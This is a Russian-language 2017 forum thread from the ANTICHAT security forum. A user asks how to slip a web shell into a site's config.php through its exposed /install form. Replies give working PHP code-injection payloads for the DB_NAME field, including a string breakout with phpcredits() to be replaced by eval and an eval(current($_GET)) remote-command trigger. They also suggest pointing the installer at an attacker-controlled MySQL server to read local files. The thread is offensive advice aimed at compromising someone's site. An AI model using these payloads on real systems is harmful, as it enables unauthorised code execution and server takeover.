HOME    FORUMS    MEMBERS    RECENT POSTS    LOG IN  
Баннер 1   Баннер 2

ANTICHAT — форум по информационной безопасности, OSINT и технологиям

ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию. Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club, и теперь снова доступен на новом адресе — forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.
Вернуться   Форум АНТИЧАТ > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Песочница
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

  #1  
Старый 18.09.2017, 06:38
weleor
Guest
Сообщений: n/a
Провел на форуме:
1639

Репутация: 0
По умолчанию

Добрый день!

Есть сайт, у него есть директория /install где я могу изменять:
  1. Имя БД
  2. Имя юзера
  3. пасс
  4. хост
Все это соотвественно сохраняется в конфиг.php такого вида:

PHP код:
PHP:
[
COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"][/COLOR][COLOR="#DD0000"]'mysql'[/COLOR][COLOR="#007700"],
[/
COLOR][COLOR="#DD0000"]'DB_HOST'[/COLOR][COLOR="#007700"]=>[/COLOR][COLOR="#DD0000"]'localhost'[/COLOR][COLOR="#007700"],
[/
COLOR][COLOR="#DD0000"]'DB_NAME'[/COLOR][COLOR="#007700"]=>[/COLOR][COLOR="#DD0000"]'bdname'[/COLOR][COLOR="#007700"],
[/
COLOR][COLOR="#DD0000"]'DB_USER'[/COLOR][COLOR="#007700"]=>[/COLOR][COLOR="#DD0000"]'root'[/COLOR][COLOR="#007700"],
[/
COLOR][COLOR="#DD0000"]'DB_PWD'[/COLOR][COLOR="#007700"]=>[/COLOR][COLOR="#DD0000"]'root'[/COLOR][COLOR="#007700"],
[/
COLOR][COLOR="#DD0000"]'DB_PORT'[/COLOR][COLOR="#007700"]=>[/COLOR][COLOR="#DD0000"]'3306'[/COLOR][COLOR="#007700"],
[/
COLOR][COLOR="#DD0000"]'DB_PREFIX'[/COLOR][COLOR="#007700"]=>[/COLOR][COLOR="#DD0000"]'ez_'[/COLOR][COLOR="#007700"],
[/
COLOR][COLOR="#DD0000"]'SHOW_ERROR_MSG'[/COLOR][COLOR="#007700"]=>[/COLOR][COLOR="#0000BB"]true[/COLOR][COLOR="#007700"],
);
[/
COLOR][COLOR="#0000BB"]?>[/COLOR][/COLOR] 
Можно ли как-то заинклудить своя Шелл в этот конфиг через форму в /install и потом запустить сам Config.php со своим шеллом?
 
Ответить с цитированием

  #2  
Старый 24.09.2017, 22:02
BabaDook
Guest
Сообщений: n/a
Провел на форуме:
238786

Репутация: 40
По умолчанию

Цитата:
Сообщение от weleor  
weleor said:

Добрый день!
Есть сайт, у него есть директория /install где я могу изменять:
  1. Имя БД
  2. Имя юзера
  3. пасс
  4. хост
Все это соотвественно сохраняется в конфиг.php такого вида:
PHP код:
PHP:
[
COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"][/COLOR][COLOR="#DD0000"]'mysql'[/COLOR][COLOR="#007700"],
[/
COLOR][COLOR="#DD0000"]'DB_HOST'[/COLOR][COLOR="#007700"]=>[/COLOR][COLOR="#DD0000"]'localhost'[/COLOR][COLOR="#007700"],
[/
COLOR][COLOR="#DD0000"]'DB_NAME'[/COLOR][COLOR="#007700"]=>[/COLOR][COLOR="#DD0000"]'bdname'[/COLOR][COLOR="#007700"],
[/
COLOR][COLOR="#DD0000"]'DB_USER'[/COLOR][COLOR="#007700"]=>[/COLOR][COLOR="#DD0000"]'root'[/COLOR][COLOR="#007700"],
[/
COLOR][COLOR="#DD0000"]'DB_PWD'[/COLOR][COLOR="#007700"]=>[/COLOR][COLOR="#DD0000"]'root'[/COLOR][COLOR="#007700"],
[/
COLOR][COLOR="#DD0000"]'DB_PORT'[/COLOR][COLOR="#007700"]=>[/COLOR][COLOR="#DD0000"]'3306'[/COLOR][COLOR="#007700"],
[/
COLOR][COLOR="#DD0000"]'DB_PREFIX'[/COLOR][COLOR="#007700"]=>[/COLOR][COLOR="#DD0000"]'ez_'[/COLOR][COLOR="#007700"],
[/
COLOR][COLOR="#DD0000"]'SHOW_ERROR_MSG'[/COLOR][COLOR="#007700"]=>[/COLOR][COLOR="#0000BB"]true[/COLOR][COLOR="#007700"],
);
[/
COLOR][COLOR="#0000BB"]?>[/COLOR][/COLOR] 
Можно ли как-то заинклудить своя Шелл в этот конфиг через форму в /install и потом запустить сам Config.php со своим шеллом?
Можешь залить шелл. Но тут 'DB_HOST'=>'localhost'
 
Ответить с цитированием

  #3  
Старый 24.09.2017, 23:05
crlf
Guest
Сообщений: n/a
Провел на форуме:
169212

Репутация: 441
По умолчанию

Цитата:
Сообщение от weleor  
weleor said:

Можно ли как-то заинклудить своя Шелл в этот конфиг через форму в /install и потом запустить сам Config.php со своим шеллом?
Если конфиг точно пишется в файл, то можно попробовать записать DB_NAME так:

PHP код:
PHP:
[
COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#DD0000"]'.phpcredits(),//
[/COLOR][/COLOR] 
Если при обращении к конфигу выведется phpcredits, то можно заменить его на eval. Но скорее всего кавычка будет эскейпиться.

Цитата:
Сообщение от BabaDook  
BabaDook said:

Можешь залить шелл. Но тут 'DB_HOST'=>'localhost'
Цитата:
Сообщение от weleor  
weleor said:

я могу изменять:
  1. Имя БД
  2. Имя юзера
  3. пасс
  4. хост
Может писать все креды. Поэтому есть смысл пробовать вариант инсталла на удалённый сервер. И чтение локальных файлов на мускул клиенте, если пых старенький.
 
Ответить с цитированием

  #4  
Старый 25.09.2017, 00:11
BabaDook
Guest
Сообщений: n/a
Провел на форуме:
238786

Репутация: 40
По умолчанию

Я чё та не до конца прочитал.... Ты о способе локал дата, с фейк сервером?
 
Ответить с цитированием

  #5  
Старый 25.09.2017, 00:47
crlf
Guest
Сообщений: n/a
Провел на форуме:
169212

Репутация: 441
По умолчанию

Цитата:
Сообщение от BabaDook  
BabaDook said:

Ты о способе локал дата, с фейк сервером?
Да, один из вариантов, в случае фейла с инъекцией.
 
Ответить с цитированием

  #6  
Старый 25.09.2017, 01:23
BabaDook
Guest
Сообщений: n/a
Провел на форуме:
238786

Репутация: 40
По умолчанию

Цитата:
Сообщение от crlf  
crlf said:

Да, один из вариантов, в случае фейла с инъекцией.
Ну да, есть варианты, но надо тыкать. Согласен вообщем..
 
Ответить с цитированием

  #7  
Старый 25.09.2017, 01:28
erwerr2321
Guest
Сообщений: n/a
Провел на форуме:
759330

Репутация: 147
По умолчанию

Да, тыкать надо по-любому!
 
Ответить с цитированием

  #8  
Старый 25.09.2017, 15:41
SooLFaa
Guest
Сообщений: n/a
Провел на форуме:
187765

Репутация: 154
По умолчанию

Цитата:
Сообщение от crlf  
crlf said:

Если конфиг точно пишется в файл, то можно попробовать записать
DB_NAME
так:
PHP код:
PHP:
[
COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#DD0000"]'.phpcredits(),//
[/COLOR][/COLOR] 
Если при обращении к конфигу выведется
phpcredits
, то можно заменить его на
eval
. Но скорее всего кавычка будет эскейпиться.
Может писать все креды. Поэтому есть смысл пробовать вариант инсталла на удалённый сервер. И чтение локальных файлов на мускул клиенте, если пых старенький.
Не мне тебя учить, что можно и без кавычки обойтись. Поэтому просто дополню:

Вариантов куча, один из.

Например постом отправляем

Код:
Code:
cmd=print(eval(current($_GET)));print(____);die;
А в гет

Код:
Code:
/index.php?anyname=phpcredits();
 
Ответить с цитированием

  #9  
Старый 25.09.2017, 17:48
crlf
Guest
Сообщений: n/a
Провел на форуме:
169212

Репутация: 441
По умолчанию

Цитата:
Сообщение от SooLFaa  
SooLFaa said:

Не мне тебя учить, что можно и без кавычки обойтись.
Скорее всего нужно Так как вижу только один вариант, и тот, только в "благоприятных" условиях возможен:

PHP код:
PHP:
[
COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"][/COLOR][COLOR="#DD0000"]'mysql'[/COLOR][COLOR="#007700"],
[/
COLOR][COLOR="#DD0000"]'DB_HOST'[/COLOR][COLOR="#007700"]=>[/COLOR][COLOR="#DD0000"]'localhost'[/COLOR][COLOR="#007700"],
[/
COLOR][COLOR="#DD0000"]'DB_NAME'[/COLOR][COLOR="#007700"]=>[/COLOR][COLOR="#DD0000"]''[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]phpcredits[/COLOR][COLOR="#007700"](),[/COLOR][COLOR="#FF8000"]//',
[/COLOR][COLOR="#DD0000"]'DB_USER'[/COLOR][COLOR="#007700"]=>[/COLOR][COLOR="#DD0000"]'root'[/COLOR][COLOR="#007700"],
[/
COLOR][COLOR="#DD0000"]'DB_PWD'[/COLOR][COLOR="#007700"]=>[/COLOR][COLOR="#DD0000"]'root'[/COLOR][COLOR="#007700"],
[/
COLOR][COLOR="#DD0000"]'DB_PORT'[/COLOR][COLOR="#007700"]=>[/COLOR][COLOR="#DD0000"]'3306'[/COLOR][COLOR="#007700"],
[/
COLOR][COLOR="#DD0000"]'DB_PREFIX'[/COLOR][COLOR="#007700"]=>[/COLOR][COLOR="#DD0000"]'ez_'[/COLOR][COLOR="#007700"],
[/
COLOR][COLOR="#DD0000"]'SHOW_ERROR_MSG'[/COLOR][COLOR="#007700"]=>[/COLOR][COLOR="#0000BB"]true[/COLOR][COLOR="#007700"],
);
[/
COLOR][COLOR="#0000BB"]?>
[/COLOR][/COLOR] 
В качестве альтернативы предложил ещё пару вариантов. Из которых, инсталл базы на подконтрольный сервер, с последующей эксплуатацией через данные поступающие из БД, кажется самым реальным из всех.

Цитата:
Сообщение от BabaDook  
BabaDook said:

Ну да, есть варианты, но надо тыкать. Согласен вообщем..
Цитата:
Сообщение от ms13  
ms13 said:

Да, тыкать надо по-любому!
Есть варианты когда тыкать не нужно?
 
Ответить с цитированием

  #10  
Старый 25.09.2017, 18:21
BabaDook
Guest
Сообщений: n/a
Провел на форуме:
238786

Репутация: 40
По умолчанию

Цитата:
Сообщение от crlf  
crlf said:

Скорее всего нужно
Так как вижу только один вариант, и тот, только в "благоприятных" условиях возможен:
PHP код:
PHP:
[
COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"][/COLOR][COLOR="#DD0000"]'mysql'[/COLOR][COLOR="#007700"],
[/
COLOR][COLOR="#DD0000"]'DB_HOST'[/COLOR][COLOR="#007700"]=>[/COLOR][COLOR="#DD0000"]'localhost'[/COLOR][COLOR="#007700"],
[/
COLOR][COLOR="#DD0000"]'DB_NAME'[/COLOR][COLOR="#007700"]=>[/COLOR][COLOR="#DD0000"]''[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]phpcredits[/COLOR][COLOR="#007700"](),[/COLOR][COLOR="#FF8000"]//',
[/COLOR][COLOR="#DD0000"]'DB_USER'[/COLOR][COLOR="#007700"]=>[/COLOR][COLOR="#DD0000"]'root'[/COLOR][COLOR="#007700"],
[/
COLOR][COLOR="#DD0000"]'DB_PWD'[/COLOR][COLOR="#007700"]=>[/COLOR][COLOR="#DD0000"]'root'[/COLOR][COLOR="#007700"],
[/
COLOR][COLOR="#DD0000"]'DB_PORT'[/COLOR][COLOR="#007700"]=>[/COLOR][COLOR="#DD0000"]'3306'[/COLOR][COLOR="#007700"],
[/
COLOR][COLOR="#DD0000"]'DB_PREFIX'[/COLOR][COLOR="#007700"]=>[/COLOR][COLOR="#DD0000"]'ez_'[/COLOR][COLOR="#007700"],
[/
COLOR][COLOR="#DD0000"]'SHOW_ERROR_MSG'[/COLOR][COLOR="#007700"]=>[/COLOR][COLOR="#0000BB"]true[/COLOR][COLOR="#007700"],
);
[/
COLOR][COLOR="#0000BB"]?>
[/COLOR][/COLOR] 
В качестве альтернативы предложил ещё пару вариантов. Из которых, инсталл базы на подконтрольный сервер, с последующей эксплуатацией через данные поступающие из БД, кажется самым реальным из всех.
Есть варианты когда тыкать не нужно?
ага, когда есть логи, десйтвие -> результат/ К тому же не понятно как он может править конфиг.
 
Ответить с цитированием
Ответ





Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ